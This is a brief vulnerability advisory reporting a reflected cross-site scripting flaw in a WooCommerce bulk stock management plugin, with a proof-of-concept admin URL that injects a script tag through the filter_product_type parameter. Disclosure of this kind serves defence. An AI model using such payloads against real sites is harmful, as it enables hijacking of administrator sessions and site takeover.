The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open the URL below https://example.com/wp-admin/edit.php?post_type=product&page;=woocommerce-bulk-stock-management&filter;_product_type="><script>alert(/XSS/)%3B<%2Fscript>